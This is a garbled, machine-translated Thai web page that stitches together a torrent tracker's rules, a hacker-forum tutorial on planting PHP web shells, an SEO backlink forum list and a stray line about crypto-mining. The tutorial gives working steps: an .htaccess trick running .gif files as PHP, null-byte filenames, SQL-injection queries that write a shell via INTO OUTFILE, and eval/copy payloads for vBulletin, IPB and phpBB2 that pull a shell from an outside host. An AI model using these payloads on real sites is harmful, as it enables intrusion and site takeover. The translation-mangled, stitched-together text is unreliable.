โหมด php โปรไฟล์ผิด วิธีการเติมเปลือก

กฎและข้อจำกัดในตัวติดตาม

1. ข้อกำหนดและข้อจำกัดทั่วไป
1.1. กฎของตัวติดตามเหล่านี้ไม่สามารถต่อรองได้ และทุกคนที่อยู่ในตัวติดตามจะต้องปฏิบัติตามโดยไม่มีเงื่อนไข เฉพาะผู้ดูแลระบบ Tracker เท่านั้นที่ได้รับอนุญาตให้ไม่ปฏิบัติตามข้อกำหนดบางประการของกฎในสถานการณ์พิเศษ
1.2. การดูแลระบบตัวติดตามเป็นเพียงผู้มีอำนาจสูงสุดเท่านั้นที่สามารถแก้ไขสถานการณ์ความขัดแย้งที่เกี่ยวข้องกับตัวติดตามและผู้ใช้ได้ ดังนั้นคำตัดสินของผู้บริหารถือเป็นที่สิ้นสุดและไม่สามารถอุทธรณ์ได้
1.3. การดูแลระบบ Tracker ขอสงวนสิทธิ์ในการเปลี่ยนแปลงและเสริมข้อกำหนดทั้งหมดของกฎเหล่านี้โดยไม่ต้องแจ้งให้ทราบล่วงหน้าหรือภายหลัง การเพิ่มและการเปลี่ยนแปลงกฎจะมีผลใช้บังคับตั้งแต่วินาทีที่เผยแพร่ อย่างไรก็ตาม เพื่อเป็นการแสดงความปรารถนาดี ฝ่ายบริหารจะพยายามนำการเปลี่ยนแปลงดังกล่าวมาสู่ความสนใจของผู้ใช้ทุกครั้งที่เป็นไปได้
1.4. การเพิกเฉยกฎเหล่านี้และกฎติดตามอื่นๆ ไม่เพียงแต่ไม่ได้ช่วยลดความรับผิดชอบในการละเมิดกฎเหล่านี้เท่านั้น แต่ยังถือเป็นการละเมิดและเป็นสถานการณ์ที่เลวร้ายอีกด้วย
1.5. ห้ามมิให้ใช้โปรแกรมใดๆ เพื่อปลอมแปลงข้อมูลเกี่ยวกับการอัพโหลดและดาวน์โหลดของคุณ คนขี้โกงจะถูกแบนทันที
1.7. ห้ามใช้ข้อผิดพลาดและข้อผิดพลาดของตัวติดตามเพื่อวัตถุประสงค์ส่วนตัว ในกรณีที่ตรวจพบความผิดปกติและข้อผิดพลาด คุณต้องแจ้งฝ่ายดูแลระบบ Tracker
2. การลงทะเบียน
การลงทะเบียนเป็นส่วนสำคัญของการติดตาม การลงทะเบียนจะระบุถึงข้อตกลงของคุณกับกฎเหล่านี้โดยอัตโนมัติ หากคุณไม่เห็นด้วยกับกฎเหล่านี้ โปรดเขียนถึงฝ่ายบริหาร
2.1. การลงทะเบียนจากเซิร์ฟเวอร์พร็อกซีต่างประเทศต่างๆ เป็นสิ่งต้องห้าม ผู้ฝ่าฝืน - แบนทันที!!!
ในกรณีพิเศษจะได้รับอนุญาตหลังจากพิจารณาใบสมัครโดยฝ่ายบริหารแล้วเท่านั้น
2.2. ห้ามมิให้ลงทะเบียนมากกว่าสองบัญชีจากคอมพิวเตอร์เครื่องเดียว ในกรณีที่มีการละเมิด บัญชีที่มีอยู่ทั้งหมดจะถูกแบน
การลงทะเบียนบัญชีใหม่หลังจากสองบัญชีที่มีอยู่นั้นสามารถทำได้โดยได้รับความยินยอมจากฝ่ายบริหารเท่านั้น
3. หลักเกณฑ์การแสดงความคิดเห็นบนมือ
3.1. ห้ามใช้คำหยาบคายในการแสดงความคิดเห็นต่อการเผยแพร่ คำและสำนวนที่หยาบคาย การปกปิดเรื่องอนาจาร รวมถึงภาษาต่างประเทศ เป็นสิ่งต้องห้าม
การลงโทษ: ลบความคิดเห็นที่ฝ่าฝืนกฎและห้ามเขียนความคิดเห็นเป็นระยะเวลา 1 สัปดาห์ การละเมิดกฎนี้ครั้งต่อไปจะส่งผลให้ถูกแบนเป็นเวลา 7 วันและถูกแบนในการเขียนความคิดเห็นเป็นระยะเวลา 14 วัน ในอนาคตจะมีการห้ามเขียนความคิดเห็นอย่างถาวร
3.2. ห้ามดูหมิ่นผู้เข้าร่วมติดตามทุกรูปแบบ ห้ามมิให้แสดงความหยาบคาย การดูหมิ่นส่วนตัว และถ้อยคำอนาจารต่อผู้เข้าร่วมรายอื่น ทำลายชื่อเสียงของพวกเขา ทำให้เกียรติและศักดิ์ศรีของพวกเขาเสื่อมเสีย รวมถึงการประลองความสัมพันธ์ส่วนตัวในที่สาธารณะ ทั้งในข้อความส่วนตัวบนตัวติดตามและในความคิดเห็นต่อการแจกจ่าย ผู้เข้าร่วมจะต้องรักษาการสื่อสารด้วยความเคารพ
การลงโทษ: ลบความคิดเห็นที่ละเมิดกฎและแบนผู้ฝ่าฝืนเป็นระยะเวลา 7 วัน การละเมิดกฎนี้ครั้งต่อไปจะส่งผลให้ถูกแบนเป็นเวลา 7 วันและถูกแบนในการเขียนความคิดเห็นเป็นเวลา 30 วัน ในอนาคตจะมีการห้ามเขียนความคิดเห็นอย่างถาวร
3.3. ห้ามคุกคามในลักษณะใดก็ตาม (ภัยคุกคามเสมือน ของจริง และภัยคุกคามอื่น ๆ ต่อผู้เข้าร่วมติดตาม)
การลงโทษ: ลบข้อความและแบนผู้กระทำผิดเป็นเวลา 14 วัน หากกฎนี้ถูกละเมิดอีกครั้ง คุณจะถูกแบนเป็นเวลาหนึ่งเดือน
3.4. การลุกเป็นไฟ (ข้อความที่ไม่เกี่ยวข้อง ออกแบบมาเพื่อเริ่มข้อพิพาท เช่นเดียวกับการทำให้ผู้อภิปรายเป็นส่วนตัว) การท่วมท้น (ข้อความที่ไม่สอดคล้องกับหัวข้อ ไม่มีความหมายโหลด หรือประกอบด้วยอีโมติคอนเท่านั้น) นอกหัวข้อ ( ข้อความที่ไม่เกี่ยวข้องกับหัวข้อที่กำลังสนทนา) เป็นสิ่งต้องห้าม รวมถึงข้อความจูงใจให้เกิดน้ำท่วม เปลวไฟ นอกประเด็น และข้อความเช่น “ช่วยเหลือ” “ปัญหา” “คุณกำลังพูดถึงเรื่องอะไร หือ?” หรือ “ฉันไม่เข้าใจ จะดาวน์โหลดจากที่ไหน” และสิ่งที่คล้ายกันซึ่งไม่เกี่ยวข้องกับการกระจายนี้ หนึ่งความคิดเห็นสามารถมีได้ไม่เกิน 3 อิโมติคอน
การลงโทษ: ลบความคิดเห็นที่ฝ่าฝืนกฎและคำเตือนผู้เขียนความคิดเห็นเป็นระยะเวลา 3 วัน หากกฎนี้ถูกละเมิดอีกครั้ง ผู้เขียนความคิดเห็นจะถูกแบนจากการเขียนความคิดเห็นเป็นระยะเวลา 7 วัน ในอนาคต สำหรับการละเมิดแต่ละครั้ง มีการห้ามแสดงความคิดเห็นเป็นเวลา 14 วัน และห้ามดาวน์โหลดเป็นระยะเวลา 14 วัน
3.5. ห้ามโพสต์ข้อความเชิงพาณิชย์ การโฆษณาโดยตรงหรือโดยอ้อม การส่งจดหมายขยะ และลิงก์ไปยังไซต์ที่ไม่เกี่ยวข้องโดยตรงกับการเผยแพร่ในความคิดเห็น
การลงโทษ: ลบการโฆษณา ห้ามเขียนความคิดเห็นเป็นเวลา 7 วัน และห้ามดาวน์โหลดเป็นระยะเวลา 7 วัน ในกรณีที่มีการละเมิดซ้ำ ห้ามเขียนความคิดเห็นเป็นเวลา 15 วัน และห้ามดาวน์โหลดเป็นระยะเวลา 15 วัน ในอนาคตจะมีการห้ามเขียนความคิดเห็นอย่างถาวร
3.6. ห้ามแสดงความคิดเห็นเพื่อแสดงความเป็นปรปักษ์ทางเชื้อชาติ ระดับชาติ และศาสนา ก่อกวนพรรคการเมือง ส่งเสริมการก่อการร้าย ลัทธิหัวรุนแรง ยาเสพติด ศาสนา และหัวข้ออื่นๆ ที่ไม่สอดคล้องกับกฎหมายศีลธรรมและความเหมาะสมที่เป็นที่ยอมรับโดยทั่วไป
การลงโทษ: ลบความคิดเห็นที่ละเมิดกฎ ห้ามเขียนความคิดเห็นเป็นเวลา 14 วัน และห้ามดาวน์โหลดเป็นระยะเวลา 14 วัน ในกรณีที่มีการละเมิดซ้ำ ห้ามเขียนความคิดเห็นเป็นเวลา 30 วัน และห้ามดาวน์โหลดเป็นระยะเวลา 30 วัน ในอนาคตจะมีการห้ามเขียนความคิดเห็นอย่างถาวร
3.7. ห้ามแสดงความคิดเห็นที่ละเมิดประมวลกฎหมายอาญาของสหพันธรัฐรัสเซียอย่างเปิดเผยหรือแอบแฝงตลอดจนข้อความเรียกร้องให้มีการกระทำที่ผิดกฎหมาย
การลงโทษ: การลบข้อความ ห้ามเขียนความคิดเห็นเป็นระยะเวลา 14 วัน และห้ามดาวน์โหลดเป็นระยะเวลา 14 วัน ในกรณีที่ฝ่าฝืนซ้ำผู้กระทำผิดจะถูกแบนเป็นระยะเวลา 30 วัน สำหรับการละเมิดครั้งที่สาม - การแบนถาวร
3.8. ห้ามแสดงความคิดเห็นในการเผยแพร่เพื่อเปิดเผยข้อมูลส่วนบุคคลใด ๆ ของผู้ใช้ ข้อมูลที่เป็นความลับ ชื่อเต็มจริง การตีพิมพ์ภาพถ่าย การเผยแพร่ข้อมูลเกี่ยวกับชีวิตส่วนตัวของผู้เข้าร่วมการสนทนาที่ถือเป็นความลับส่วนบุคคลหรือครอบครัวโดยไม่ได้รับความยินยอมจากเขา
การลงโทษ: การลบความคิดเห็นที่ละเมิดกฎและการเตือนด้วยวาจาไปยังตัวติดตาม ในกรณีที่ฝ่าฝืนซ้ำจะมีการห้ามเขียนความคิดเห็นเป็นระยะเวลา 7 วัน ในอนาคตจะมีการห้ามเขียนความคิดเห็นเป็นระยะเวลา 30 วัน
3.9. ห้ามโพสต์ภาพที่มีภาพอนาจาร ฉากความรุนแรง หรือภาพอื่นใดที่ทำให้อับอายหรือดูถูกผู้ใช้รายอื่นในความคิดเห็น
การลงโทษ: ลบความคิดเห็นที่ละเมิดกฎและห้ามดาวน์โหลดและแสดงความคิดเห็นเป็นระยะเวลา 7 วัน ในกรณีที่มีการละเมิดซ้ำ ผู้ใช้จะถูกแบนเป็นระยะเวลา 7 วัน ในอนาคต - การแบนเป็นระยะเวลา 15 วันและการห้ามเขียนความคิดเห็นอย่างถาวร
3.10. ห้ามใช้ภาษาอื่นที่ไม่ใช่ภาษารัสเซียและแบบอักษรอื่นที่ไม่ใช่ซีริลลิกในความคิดเห็น
การลงโทษ: การลบข้อความและการเตือนด้วยวาจาแก่ผู้ใช้ ในกรณีที่มีการละเมิดกฎของย่อหน้านี้ซ้ำ ห้ามเขียนความคิดเห็นเป็นระยะเวลา 3 วัน
3.11. ห้ามใช้วิธีการไฮไลต์ต่อไปนี้ในข้อความ: สีแดง ตัวอักษรพิมพ์ใหญ่มากกว่า 75% และขนาดตัวอักษรขนาดใหญ่ - นี่เป็นสิทธิ์ของผู้ดูแลและผู้ดูแลระบบ
การลงโทษ: การลบข้อความและการเตือนด้วยวาจาแก่ผู้ใช้ ในกรณีที่มีการละเมิดกฎของย่อหน้านี้ซ้ำ ห้ามเขียนความคิดเห็นเป็นระยะเวลา 7 วัน
3.12. ห้ามใช้การอ้างอิงมากเกินไป (อ้างอิงข้อความจากผู้เข้าร่วมรายอื่นในปริมาณที่เกินจำนวนที่เหมาะสม (ข้อความต้นฉบับมากกว่า 10 บรรทัด))
การลงโทษ: แก้ไขข้อความและเตือนผู้ใช้ด้วยวาจา ในกรณีที่ฝ่าฝืนกฎของย่อหน้านี้ซ้ำๆ ให้ห้ามเขียนความคิดเห็นเป็นระยะเวลา 3 วัน
3.13. ห้ามสปอยล์ และงดเว้นจากการสปอยล์ (การเปิดเผยประเด็นสำคัญ ความรู้ที่อาจทำลายประสบการณ์การรับชมของผู้อื่น ผลการแข่งขัน ฯลฯ)
หากคุณไม่สามารถทำได้โดยไม่ต้องสปอยล์ คุณต้องรวมสปอยล์ไว้ในแท็ก [expand] และใส่เครื่องหมาย "สปอยล์" ไว้ข้างหน้า
หมายเหตุ: ในการแจกแจง "กีฬา" ห้ามสปอยล์ความคิดเห็นมากถึง 11 ความคิดเห็น (1 หน้า)
การลงโทษ: แก้ไขข้อความและเตือนผู้ใช้ด้วยวาจา หากคุณฝ่าฝืนกฎของย่อหน้านี้ซ้ำๆ คุณจะถูกห้ามไม่ให้เขียนความคิดเห็นเป็นเวลา 3 วัน
3.14. ห้ามเผยแพร่ข้อความที่มีข้อมูลเท็จโดยจงใจ
การลงโทษ: ลบความคิดเห็นที่ละเมิดกฎและการเตือนด้วยวาจาแก่ผู้ใช้ หากคุณฝ่าฝืนกฎของย่อหน้านี้ซ้ำๆ คุณจะถูกห้ามไม่ให้แสดงความคิดเห็นเป็นเวลา 7 วัน
ระบบแสดงความคิดเห็นแบบทอร์เรนต์ได้รับการออกแบบมาเพื่อ:
- แสดงความเคารพและความกตัญญูต่อผู้ให้
- ถามคำถามเฉพาะที่คุณสนใจเกี่ยวกับการจัดจำหน่าย
- ให้ข้อมูลที่น่าสนใจเกี่ยวกับการแจกของรางวัล
4. ข้อจำกัดเกี่ยวกับรูปประจำตัวและลายเซ็น:
4.1. ลายเซ็น:
- ความสูงสูงสุด: 100 pts (กล่าวคือ ไม่เกิน 4 แถบผู้ใช้หรือข้อความ 10 บรรทัด (ขนาดตัวอักษร 10) ความกว้าง: 750 pts
- น้ำหนักรวมของรูปภาพที่อยู่ในลายเซ็นไม่ควรเกิน 200 Kb
- เนื้อหา: ความรุนแรง การข่มขู่ (ตามพื้นฐานทางประชากร ชาติ ศาสนา หรือการเมือง) ภาษาหยาบคาย (คำหยาบคาย การเรียกชื่อ ความหยาบคาย ฯลฯ) การมึนเมา (ภาพอนาจาร) การเลือกปฏิบัติในรูปแบบใด ๆ ข้อความและรูปภาพของการโฆษณาหรือ เชิงพาณิชย์ถือเป็นลักษณะที่ยอมรับไม่ได้ การเลียนแบบชื่อ/อันดับของแหล่งข้อมูลนี้ รวมถึงรูปภาพที่ยั่วยุ รวมถึง โดยใช้สัญลักษณ์นาซี
- แอนิเมชัน: ห้ามใช้คำบรรยายที่กะพริบอย่างรุนแรง (ระดับของการกะพริบจะถูกกำหนดโดยฝ่ายบริหาร)
- ลายเซ็นใต้ข้อความของคุณไม่สามารถใช้เพื่อสร้างลิงค์ไปยังทรัพยากรเครือข่ายใด ๆ (ข้อยกเว้นคือลิงก์ไปยังไซต์ที่มีแถบผู้ใช้ บริการต่างๆ เช่น youtube, google ฯลฯ)
4.2. สัญลักษณ์:
- ขนาดสูงสุด: 100x100 พิกเซล; น้ำหนัก: สูงสุด 21 KB
- เนื้อหา: ความรุนแรง การคุกคาม (ตามพื้นฐานทางประชากรศาสตร์ ระดับชาติ ศาสนา หรือการเมือง) ภาษาหยาบคาย (คำหยาบคาย การเรียกชื่อ ความหยาบคาย ฯลฯ) การมึนเมา (ภาพอนาจาร) การเลือกปฏิบัติในรูปแบบใดๆ การโฆษณาชวนเชื่อเกี่ยวกับยาเสพติด การโฆษณาเชิงพาณิชย์ และ ข้อความโฆษณา การเลียนแบบชื่อ/ยศของแหล่งข้อมูลนี้ จงใจทำให้คล้ายคลึงกับอวตารของสมาชิกฝ่ายบริหาร ตลอดจนรูปภาพที่ยั่วยุ รวมถึง โดยใช้สัญลักษณ์นาซี
- แอนิเมชัน: ห้ามใช้อวตารที่กะพริบอย่างรุนแรง (ระดับของการกะพริบจะถูกกำหนดโดยฝ่ายบริหาร)
การลงโทษ: การลบลายเซ็นและอวตารออก หรือห้ามการใช้งาน (กำหนดโดยผู้ดูแลระบบ)
5. การเผยแพร่
5.1. ห้ามมิให้อัปโหลดซ้ำการเผยแพร่ไปยังเครื่องมือติดตามอื่น ๆ โดยไม่ได้รับอนุญาตเป็นการส่วนตัวจากผู้เผยแพร่ การสนับสนุนการเผยแพร่ผลงานที่ห้ามมิให้อัปโหลดซ้ำบนเครื่องมือติดตามอื่นจะเทียบเท่ากับการอัปโหลดซ้ำโดยอิสระและได้รับการลงโทษตามข้อ 7
6. อื่นๆ
6.1. ห้ามมิให้อัปโหลดเนื้อหาของการแจกจ่ายโดยใช้บริการโฮสต์ไฟล์ เช่น vip-file, letitbit และอื่นๆ...
6.2. ห้ามมิให้ใช้ตัวจัดการการดาวน์โหลดเพื่อดาวน์โหลดทอร์เรนต์
7. การลงโทษ:
สำหรับการละเมิดที่ระบุไว้ในวรรค 5-6 - แบนเป็นเวลา 7 วัน การละเมิดกฎเหล่านี้ซ้ำแล้วซ้ำอีกจะส่งผลให้ถูกแบนตลอดชีวิต

สวัสดี %username% และเพื่อนๆ ของเขา คุณต้องอัปโหลดเชลล์ไปยังไซต์อย่างเร่งด่วนแต่คุณไม่มีทางรู้บางทีค่าธรรมเนียมสุดท้ายขึ้นอยู่กับมัน มันก็ไม่ได้ผล ที่นี่ฉันรวบรวมตัวอย่างสองสามตัวอย่าง (ขอบคุณ Tracy และคนอื่นๆ สำหรับสิ่งนี้)

มาเทเปลือกผ่านภาพกัน

คุณได้แฮ็กไซต์ (แน่นอนว่าคุณกำลังทดสอบเท่านั้น) ด้วยแผงการดูแลระบบที่กำหนดเอง... และคุณไม่สามารถอัปโหลดเชลล์เว็บได้ แต่มีการอัปโหลดรูปภาพและโหลดเฉพาะรูปแบบ .jpg, .gif, .png เท่านั้น
ในกรณีนี้สามารถทำอะไรได้บ้าง?

เราใส่เชลล์ที่มีนามสกุล .gif ลงในโฟลเดอร์ที่มีรูปภาพ และสร้างไฟล์ .htaccess พร้อมเนื้อหา

แอปพลิเคชัน AddType/x-httpd-php .gif
คำสั่งนี้จะรันรูปแบบ .gif เป็น php
กำลังพยายามเปิด /shell.gif

นอกจากนี้ หากสคริปต์ไม่สนใจการขึ้นบรรทัดใหม่ เราจะพยายามทำให้เชลล์เต็มและเปลี่ยนชื่อเป็น เชลล์.php%00.jpg, ตรวจสอบความพร้อมใช้งานของ shell.php จะเป็นอย่างไร?

วิธีการโหลดเชลล์ผ่าน mysql.user จากการสะอื้น

1) มาดูกันว่าเรากำลังนั่งอยู่กับใครและค้นหาสิทธิ์ของเขาใน mysql ด้วย

site.com/index.php?id=1+และ+1=0+ยูเนี่ยน+เลือก+1,ผู้ใช้(),3+--+
(เรามาดูกันดีกว่าว่าเรานั่งอยู่ใต้ใคร)
2) site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user=" ผู้ใช้ของเรา "+--+
(มาตรวจสอบสิทธิ์ของผู้ใช้ของเรากัน ถ้ามันเกิดข้อผิดพลาดระหว่างเอาท์พุต คุณสามารถ hex ผู้ใช้ของเราเป็น 0x)
3) site.com/index.php?id=-1+union+select+1,"",3+from+mysql.user+into+outfile+" เส้นทางไปยังไฟล์ "+--+
(กรอกในมินิเชลล์)
ป.ล.
เพื่อให้ทุกอย่างทำงานได้ คุณต้องมีสิทธิ์ในการเขียนและรู้เส้นทางทั้งหมดไปยังรูท
คุณสามารถตรวจสอบสิทธิ์การเขียนได้ดังนี้:

site.com/index.php?id=1+and+1=0+union+Select+1," พราวา ",3+จาก+mysql.user+--+
หากแสดง prava แสดงว่าคุณมีสิทธิ์

สถานการณ์ต่อไปนี้ เราอยู่ในแผงผู้ดูแลระบบของเครื่องมือฟอรั่ม vBulletin

ไปกันเถอะ:
ปลั๊กอินและผลิตภัณฑ์ -> ตัวจัดการปลั๊กอิน -> ปลั๊กอินและผลิตภัณฑ์ -> ตัวจัดการปลั๊กอิน -> [เพิ่มปลั๊กอินใหม่]

เลือกเทมเพลต โดยปกติแล้วเราจะเลือก faq_complete เลือกและคลิกช่องทำเครื่องหมาย Plugin is Active ตั้งค่าเป็น "Yes" แล้วบันทึก

localhost/forum/faq.php?cmd=phpinfo();

หากเราพิมพ์ phpinfo() แล้ว ให้พิจารณาเชลล์ที่อยู่ในมือของเรา

ถัดไปใน phpinfo คุณจะต้องค้นหาเส้นทางแบบเต็มไปยังฟอรัม (เช่น /home/u0000/site.ru/www/sell.php). ต่อไป เราต้องเปลี่ยน web shell ของเราให้เป็นไฟล์ txt และอัปโหลดไปยังเว็บไซต์ใดก็ได้
mysite.com/shell.txt
เติมเชลล์ด้วยคำสั่ง

localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
ทีมนี้ทำอะไร? มันคัดลอกเนื้อหาของตัวแปร [a] ไปยังตัวแปร [b] นั่นคือ shell.txt จะถูกคัดลอกไปยัง shell.php

กำลังโหลดเชลล์ลงใน IPB 3

ไปกันเถอะ:
การสนับสนุน -> การจัดการ SQL -> กระบวนการกำลังทำงาน -> เรียกใช้แบบสอบถามใหม่

รหัส:
เลือก 0x3c3f706870696e666f28293b3f3e ลงในไฟล์ "Z:/home/site.ru/www/uploads/shell.php"
คุณสามารถดูเส้นทางแบบเต็มได้ดังนี้:

ผู้ดูแลระบบ -> การสนับสนุน
จะมีเวอร์ชัน PHP เขียนอยู่ด้านบนและมีลิงก์ไปยัง PHPINFO ทางด้านซ้าย

เชลล์ที่นี่:
http://site.com/uploads/shell.php

การอัพโหลดเชลล์ไปยัง phpBB 2

1. สร้างไฟล์ ex.sql
2. ลงทะเบียนที่นั่น

อัปเดต phpbb_users SET user_sig_bbcode_uid="(.+)/e\0", user_sig="phpbb:eval(stripslashes($_GET[e]));" โดยที่ user_id=2;
โดยที่ user_id=2 คือ ID ผู้ดูแลระบบ

3. ไปที่แผงผู้ดูแลระบบ
4. ในแผงผู้ดูแลระบบ เลือกรายการ “กู้คืน DB” และดาวน์โหลด ex.sql
5. รันโค้ด / เติมเชลล์แบบนี้

ไปกันเถอะ:
http://target/profile.php?mode=editprofile&e=phpinfo();
หลังจาก:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/ site.ru/www/sell.php
หากต้องการแสดง phpinfo() คุณต้องเข้าสู่ระบบ

นี่เป็นเพียงรายการสั้นๆ เกี่ยวกับวิธีการและประเภทของเครื่องยนต์ที่สามารถโหลดเชลล์ได้ ต้องการมาก? ยินดีต้อนรับสู่พวกที่ rdot
กำลังอัปโหลดไปยังฟอรัม
กรอก cms
และนี่คือเชลล์ตัวโปรดของฉันบน rdot ด้วย))

ดังนั้น ฉันคิดว่าฉันจะไม่ทำให้ใครแปลกใจเลยที่บอกว่ายิ่งมีลิงก์ภายนอกไปยังไซต์ของคุณมากเท่าใด TCI ของไซต์ก็จะใหญ่ขึ้นและ TCI ของไซต์อ้างอิงก็จะยิ่งมากขึ้นเท่านั้น "น้ำหนัก" ของลิงก์นี้ก็จะมากขึ้นตามไปด้วย มีหลายวิธีในการเพิ่มมวลลิงก์ไปยังไซต์ของคุณ แต่วันนี้ฉันจะพูดถึงวิธีเดียวเท่านั้น - การรับลิงค์ภายนอกจากไซต์ที่เชื่อถือได้.
ในบทความนี้ฉันจะไม่ให้ลิงก์ทั้งหมดไป เว็บไซต์ที่เชื่อถือได้ซึ่งฉันรู้ แต่ฉันจะบอกคุณเกี่ยวกับหนึ่งในนั้นเท่านั้น - ฟอรัม
โดยการลงทะเบียนในฟอรั่มที่คุณสามารถระบุเว็บไซต์ได้ (ตามกฎแล้วพวกเขาจะสร้างด้วยเครื่องมือเดียวกัน) คุณจะได้รับลิงก์ภายนอก
เพื่อให้ชัดเจนว่าเรากำลังพูดถึงอะไร โปรดดูภาพหน้าจอด้านล่าง:

นั่นคือคุณต้องลงทะเบียนในฟอรัมดังกล่าวเพื่อระบุเว็บไซต์ นั่นคือทั้งหมดที่ (อย่างมากที่สุด คุณยังคงต้องยืนยันการลงทะเบียนของคุณ ดังนั้นโปรดระบุอีเมลจริงของคุณ) โดยทั่วไป หน้าเว็บที่มีลิงก์ไปยังเว็บไซต์ของคุณจะมีลักษณะดังนี้:

ทีนี้มาพูดถึงข้อเสียของวิธีนี้กันดีกว่า ในความคิดของฉันมีสองข้อเสีย:
1) ฉันคิดว่าไม่ช้าก็เร็วคุณจะถูกลบออกจากฟอรัมเนื่องจากไม่มีการใช้งาน (แต่โดยหลักการแล้ว การลงทะเบียนอีกครั้งจะไม่ใช่เรื่องยาก)
2) ดังนั้นจึงไม่สามารถตั้งค่าจุดยึดลิงก์ได้ (นี่อาจไม่ใช่แม้แต่ลบ แต่เป็นข้อเท็จจริง แต่ก็ยัง)
ตอนนี้ดี รายชื่อฟอรั่มอ้วน. เพื่อความสะดวก ตามลำดับจากมากไปน้อยของ TCI:
ลิงค์ (TCI)
http://forum.igromania.ru/register.php (1700) [ลงทะเบียนจากนั้นระบุไซต์ในโปรไฟล์ของคุณบันทึก]
http://orphus.ru/community/register.html (1500)
http://www.novosti-kosmonavtiki.ru/phpBB2/profile.php?mode=register (1100)
http://www.rmj.ru/phpbb/profile.php?mode=register (1,000)
http://www.masterkit.ru/forum/profile.php?mode=register (700)
http://www.ib.ru/forum/profile.php?mode=register (400)
http://forum.mozilla-russia.org/register.php (300) [ระบุเว็บไซต์ในโปรไฟล์ของคุณ]
http://mama-tv.ru/forum/profile.php?mode=register (230)
http://www.neodrive.ru/forum/profile.php?mode=register (170)
http://www.systemaspetsnaz.ru/pforum/profile.php?mode=register (150)
http://tele-club.ru/forum/profile.php?mode=register (130)
http://forum.anastasia.ru/profile.php?mode=register (130)
http://www.shalyapin.ru/forum/profile.php?mode=register (130)
http://www.sarinfo.org/forum/profile.php?mode=register (120)
http://nelubit.ru/profile.php?mode=register (100)
http://www.antisex.info/phpbb2/profile.php?mode=register (60)
http://forum.balletfriends.ru/profile.php?mode=register (50)
http://forum.rusbani.ru/profile.php?mode=register (50)
http://zoneland.ru/forum/profile.php?mode=register (40)
http://forum.av.by/profile.php?mode=register (30)
http://forummotor.israelinfo.ru/profile.php?mode=register (30)
http://wolfson.ru/forum/profile.php?mode=register (30)
http://forum.oslik.ru/profile.php?mode=register (30)
http://data-torrents.com/profile.php?mode=register (20)
http://forum.latfutbols.net/profile.php?mode=register (20)
http://www.forum.hyip-reflection.info/profile.php?mode=register (20)
http://wap.tanchiki.ru/for/profile.php?mode=register (10)

http://www.autoplustv.ru/forum/profile.php?mode=register (500)
http://www.spomir.ru/forum/profile.php?mode=register (350)
http://www.fireman.ru/talk/profile.php?mode=register (300)
http://www.fpss.ru/forum-new/profile.php?mode=register (240)
http://www.skaters.ru/forum/profile.php?mode=register (220)
http://www.a-ivanov.ru/forum/profile.php?mode=register (190)
http://abto-acc.ru/forum/profile.php?mode=register (150)
http://www.artdj.ru/forum/profile.php?mode=register (120)
http://doom-metal.ru/room/profile.php?mode=register (100)
http://www.frisbee.by/f/profile.php?mode=register&agreed=true (80)
http://www.texinfo.ru/forum/ucp.php?mode=register (80) [ในโปรไฟล์]
http://globax.biz/forum/profile.php?mode=register (70)
http://www.gracebyte.com/forum/profile.php?mode=register (70)
http://forumjnews.israelinfo.ru/profile.php?mode=register (60)
http://yartech.ru/forum/ucp.php?mode=register (40) [ในโปรไฟล์]
http://amrita-dance.ru/forum/profile.php?mode=register (30)
http://forum.isnet.ru/profile.php?mode=register (30)
http://forum.interair.ru/profile.php?mode=register (0
___________________________________________________________________

อัพเดตฐานข้อมูลครั้งล่าสุดคือ 06/16/54(รายการถูกล้างออกจากลิงก์ที่ใช้งานไม่ได้ + มีการเพิ่มไซต์อีกสองสามไซต์ที่อยู่ใต้บรรทัด)

นอกจากนี้ ต้องขอบคุณไซต์ที่เชื่อถือได้ คุณไม่เพียงแต่สามารถเพิ่ม TIC แต่ยังเพิ่มการเข้าชมไซต์อีกด้วย! แต่สำหรับสิ่งนี้ คุณต้องมีไซต์ที่เชื่อถือได้จำนวนมาก และตามกฎแล้วไซต์เหล่านั้นก็ถูกขายเพื่อเงินแล้ว ก็ตัดสินใจเอาเองว่าจะซื้อหรือไม่...

โดยสรุป ฉันสามารถพูดได้ว่าอย่าลงทะเบียนพร้อมกันในทุกฟอรัม ไม่เช่นนั้นเว็บไซต์ของคุณอาจตกอยู่ภายใต้ตัวกรองบางประเภท ฉันคิดว่าวันละ 5-8 ก็เพียงพอแล้ว ทั้งหมด. ขอให้โชคดี. 😉

ความสนใจ!
ฉันกำลังเขียนบันทึกนี้ในปี 2558 และฉันอยากจะบอกว่าตอนนี้ในความคิดของฉันการทิ้งลิงก์ไปยังบล็อก (ไซต์) ของคุณบนไซต์ที่เชื่อถือได้ที่ใหม่กว่าเหล่านี้หรืออื่น ๆ คุณจะเสียเวลาเท่านั้น ดังนั้นเพื่อหลีกเลี่ยงคำถามซ้ำ ๆ ในความคิดเห็นฉันจะเขียนที่นี่ - จะไม่มีการอัปเดตในรายการนี้
ฉันขอแนะนำให้ตรวจสอบรายการของฉันดีกว่า แน่นอนว่าการโพสต์ข้อความบนบล็อกดังกล่าวก็ไม่ได้ผลเหมือนเมื่อก่อน แต่ในความเห็นส่วนตัวของฉันอีกครั้ง มันมีประสิทธิภาพมากกว่าหลายเท่า

ฉันเขียนว่าเมื่อคุณพยายามเข้าสู่ระบบมิเรอร์ RuTracker อันใดอันหนึ่ง คุณจะได้รับข้อความแจ้งว่าสิ่งนี้จะเกิดขึ้นได้ก็ต่อเมื่อคุณอนุญาตให้ไซต์ทำการคำนวณบนคอมพิวเตอร์ของคุณ หรืออีกนัยหนึ่งคือ เพื่อขุด cryptocurrency

